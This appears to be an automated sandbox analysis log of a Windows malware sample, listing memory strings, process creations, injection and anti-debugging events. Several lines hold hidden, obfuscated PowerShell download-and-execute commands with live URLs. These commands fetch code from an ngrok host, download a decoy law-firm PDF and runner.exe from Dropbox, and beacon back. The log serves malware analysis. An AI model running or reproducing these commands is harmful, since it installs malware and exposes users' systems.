Source: powershell.exe, 00000003.00000002.1567473604.000001FB1E939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Remove-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1E939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.cdxml',
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1E939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000016.00000002.1711359093.0000024490EFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000016.00000002.1711359093.0000024490EFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1E939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1E939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: +MSFT_NetEventVmNetworkAdatper.format.ps1xmlX
Source: fontdrvhost.exe, 0000001E.00000003.1864532293.0000000005210000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1E939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000003.00000002.1606009296.000001FB35368000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXs<
Source: svchost.exe, 00000007.00000002.2553937317.000002241125D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2551810877.000002240BC2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msedge.exe, 00000006.00000003.1444438952.000014480033C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: powershell.exe, 00000003.00000002.1607413535.000001FB3545C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}+
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1E939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: #MSFT_NetEventVmNetworkAdatper.cdxmlX
Source: fontdrvhost.exe, 0000001E.00000003.1864532293.0000000005210000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1E939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Add-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1E939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Get-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000016.00000002.1711359093.0000024490EFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1E939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.format.ps1xml',
Source: msedge.exe, 00000006.00000002.1489354517.000001F318E44000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000019.00000002.1594243200.000001AB1EE46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 00000016.00000002.1779948411.00000244A8E3C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll33

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Code function: 29_3_027192CC VirtualAlloc,VirtualAlloc,VirtualProtect,LdrInitializeThunk,VirtualFree,

29_3_027192CC

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Code function: 28_2_00479425 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

28_2_00479425

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_3_02719277 mov eax, dword ptr fs:[00000030h]		29_3_02719277
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 30_3_00B60283 mov eax, dword ptr fs:[00000030h]		30_3_00B60283

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Process created: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe "C:\Users\user~1\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe"

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 28_2_00479425 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00479425
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 28_2_00469ECC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00469ECC
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_2_00479425 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_00479425
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_2_00469ECC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	29_2_00469ECC

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Memory written: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe base: 26E0000 value starts with: 4D5A

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\1887874022.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd'; }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user~1\AppData\Local\Temp\53cf54c9-bd5a-44a9-afff-e5edd73e8d3d.pdf
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe "C:\Users\user~1\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe"
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Process created: C:\Windows\SysWOW64\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -noprofile -command "$randompdf = join-path -path $env:temp -childpath ('{0}.pdf' -f ([guid]::newguid())); $randomexe = join-path -path $env:temp -childpath ('{0}.exe' -f ([guid]::newguid())); invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/lewis-silkin-llp.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1' -outfile $randompdf; start-process -filepath 'msedge.exe' -argumentlist '--kiosk', $randompdf; invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1' -outfile $randomexe; start-process -filepath $randomexe; if (test-path $randomexe) { invoke-webrequest -uri 'https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd'; }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -noprofile -command "$randompdf = join-path -path $env:temp -childpath ('{0}.pdf' -f ([guid]::newguid())); $randomexe = join-path -path $env:temp -childpath ('{0}.exe' -f ([guid]::newguid())); invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/lewis-silkin-llp.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1' -outfile $randompdf; start-process -filepath 'msedge.exe' -argumentlist '--kiosk', $randompdf; invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1' -outfile $randomexe; start-process -filepath $randomexe; if (test-path $randomexe) { invoke-webrequest -uri 'https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd'; }"

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Code function: 28_2_00460FA0 cpuid

28_2_00460FA0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
